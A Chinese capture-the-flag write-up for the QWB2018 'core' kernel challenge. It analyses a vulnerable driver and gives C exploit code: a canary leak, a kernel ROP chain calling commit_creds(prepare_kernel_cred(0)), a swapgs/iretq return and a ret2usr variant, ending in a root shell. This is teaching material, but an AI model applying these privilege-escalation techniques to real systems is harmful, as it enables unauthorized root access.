QWB2018-core

一、使用Kernel_ROP

1.首先解包,查看init设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#注释头

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

注意三个地方:

1
2
3
4
5
6
7
//注释头

echo 1 > /proc/sys/kernel/kptr_restrict
cat /proc/kallsyms > /tmp/kallsyms ------------------------------------------------------------
insmod /core.ko
-------------------------------------------------------------
setsid /bin/cttyhack setuidgid 1000 /bin/sh

(1)把/proc/kallsysm拷贝到tmp文件夹下一份,而kallsysm中保存了加载内核之后几乎所有的函数调用:

img

img

由于被kptr_restrict设为 1,这样就不能通过 /proc/kallsyms查看函数地址了,但是这里把kallsysm拷贝到了tmp文件夹下,那么就可以从tmp文件夹下的kallsysm找到所有需要的地址,包括gadget。

(2)insmod /core.ko,挂载了目录下的core.ko驱动程序,通常这个驱动程序就是漏洞的所在点,用IDA打开分析。

(3)setsid /bin/cttyhack setuidgid 1000 /bin/sh,这个就是设置用户权限了,1000为权限ID,如果设置为0就是root权限了,为了调试,可以先设置成0方便点。

2.再看下start.sh启动qemu的设置:

1
2
3
4
5
6
7
8
9
10
#注释头

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

可以看到加载了core.ko驱动,并且开启了kaslr。

3.然后分析下core.ko代码,漏洞点在core_copy_func函数和core_write函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#注释头

#core_write函数:
if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )


#core_copy_func函数:
__int64 v2; // [rsp+0h] [rbp-50h]
-------------------------------------------------------
if ( a1 > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
qmemcpy(&v2, &name, (unsigned __int16)a1);
}

(1)name是全局变量,core_write函数从用户空间拷贝了v3长度到name中,而core_write函数可以通过exp中调用write,write(core_fd, data, 0x800);打开该驱动从而调用驱动中的core_write函数,将我们的data写入到name中。

(2)之后由于core_copy_func函数可以通过ioctl函数直接传参调用,所以其中的a1受到我们控制,然后对a1的检查又只有一个if(a1>63),存在整数转换的漏洞,也就是如果a1为负数,就能够通过if语句,那么通过qmemcpy(&v2, &name, (unsigned __int16)a1);函数的隐形转换,就可以从name拷贝很大的数据到v2上,而v2在内核栈上,那么就可以对内核栈进行栈溢出。

4.可以构造rop链尝试了,但是这里还有一个canary,Leak漏洞在core_read和ioctl函数上:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

#core_read函数:
__int64 v5;
--------------------------------------------------------
result = copy_to_user(v1, (char *)&v5 + off, 64LL);

#ioctl函数:
case 0x6677889C:
printk(&unk_2CD);
off = v3;
break;

off是全局变量,可以通过调用ioctl函数来设置。v5是core_read内核函数栈上的变量,可以使得off适当大一些,从而泄露出canary。

5.现在尝试构造exp:

(1)首先找地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//注释头

//找到内核加载基地址vmlinux_base和prepare_kernel_cred函数、commit_creds函数地址
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);

}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

这里的0x9c8e0和0x9cce0都是通过ROPgadget查找vmlinux找出来的,不过找到的地址是相对偏移加上了0xffffffff81000000,所以这里需要减去得到相对偏移。

img

(2)然后泄露canary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//注释头

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);
}
----------------------------------------------------------------------
void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}
---------------------------------------------------------------------
set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);
//这里fd为int fd = open("/proc/core", 2);

(3)构造rop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//注释头

ssize_t offset = vmlinux_base - 0xffffffff81000000;
size_t rop[0x1000] = {0};
for(int i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs; // cs
rop[i++] = user_rflags; // rflags
rop[i++] = user_sp; // rsp
rop[i++] = user_ss;

这里rop链构造一般分为

①覆盖返回地址,执行commit_creds(prepare_kernel_cred(0) )函数,提权,即:

1
2
3
4
5
6
7
8
9
10
//注释头

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

②通过swapgs和iretq返回用户态:

1
2
3
4
5
6
//注释头

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

▲这里的swapgs和iretq最好用objdump -d vmlinux > gadget来保存寻找,如果用ROPgadget或者ropper可能不识别,从而无法找到。

③着陆开shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//注释头


void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
----------------------------------------------------
rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs; // cs
rop[i++] = user_rflags; // rflags
rop[i++] = user_sp; // rsp
rop[i++] = user_ss; // ss

(4)最后输入rop链,提权执行:

1
2
3
4
5
6
7
8
9
10
//注释头

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}
--------------------------------------------------------------
write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

▲需要注意的是在程序进入内核态之前需要保存下用户态的参数,不然之后没办法返回用户态开shell:

1
2
3
4
5
6
7
8
9
10
11
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

二、使用Ret2usr技术:

1.在这道题中与ROP差不多,唯一的区别在于提权的时候:

(1)ROP技术中,利用思想和常规pwn题一样,rdi传参之后寻找Gadget来调用commit_creds(prepare_kernel_cred(0))。

(2)Ret2Usr技术中,由于我们是直接运行我们的二进制文件exp,所以在exp文件内声明定义的函数会被加载到exp的进程中,可以直接在exp中调用,不需要rop。但是这里如果直接调用system(“/bin/sh”)没什么用,权限仍然不是root,还是需要调用commit_creds(prepare_kernel_cred(0))提权才行,所以这里就可以利用泄露出来的地址直接构造该函数调用即可,而不用再rop来调用了。

就相当于将以下代码替换一下:

1
2
3
4
5
6
7
8
9
10
//注释头

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

替换成:

1
2
3
4
5
6
7
8
9
10
11
12
//注释头

rop[i++] = (size_t)get_root;
------------------------------------------------
//函数定义为:
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
/* puts("[*] root now."); */
}

最开始我想为什么不直接运行调用,后面才知道是特权模式问题。如果直接调用,就会出现访问错误,因为我们构造的函数的函数地址是在内核空间中,而用户空间是无法运行内核空间的函数。所以需要调用write(fd, rop, 0x30 * 8);进入到内核空间,获得特权模式下ring0的权限,然后运行用户空间的get_root()函数,再进入到内核空间寻找对于的commit_creds函数和prepare_kernel_cred(0)结构体,从而提权。

参考资料:

ctfwiki